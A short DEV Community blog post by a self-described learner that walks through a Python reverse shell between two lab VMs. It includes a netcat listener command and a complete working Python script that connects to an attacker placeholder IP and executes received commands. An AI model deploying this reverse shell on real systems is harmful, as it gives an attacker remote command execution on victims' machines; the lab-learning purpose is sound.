DEV Community

tamilvanan
tamilvanan

Posted on

Learning Reverse Shells with Python in a Virtual Lab

Note: I’m not an expert. I’m writing this blog just to document my learning journey. 🚀

This guide shows how to set up a Python-based reverse shell between two Linux VMs for safe testing in a controlled lab.

Lab Setup

  • VM 1 – Attacker: Linux
  • VM 2 – Target: Linux
  • Both VMs should be on the same network.

Step 1: Attacker VM

Start a listener using Netcat:

nc -l -p 4444
Enter fullscreen mode Exit fullscreen mode

Step 2: Target VM

Create a Python script (reverse_shell.py):

#!/usr/bin/env python3
import socket
import subprocess

attacker_ip = "ATTACKER_VM_IP"
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((attacker_ip, port))

while True:
    command = s.recv(1024).decode()
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode())

s.close()
Enter fullscreen mode Exit fullscreen mode

Replace ATTACKER_VM_IP with the attacker VM’s IP and run:

python3 reverse_shell.py
Enter fullscreen mode Exit fullscreen mode

Step 3: Using the Reverse Shell

On the attacker VM, type commands like:

ls
whoami
pwd
Enter fullscreen mode Exit fullscreen mode

Type exit to close the connection.


This is a concise lab setup for testing Python reverse shells safely between VMs.


Top comments (0)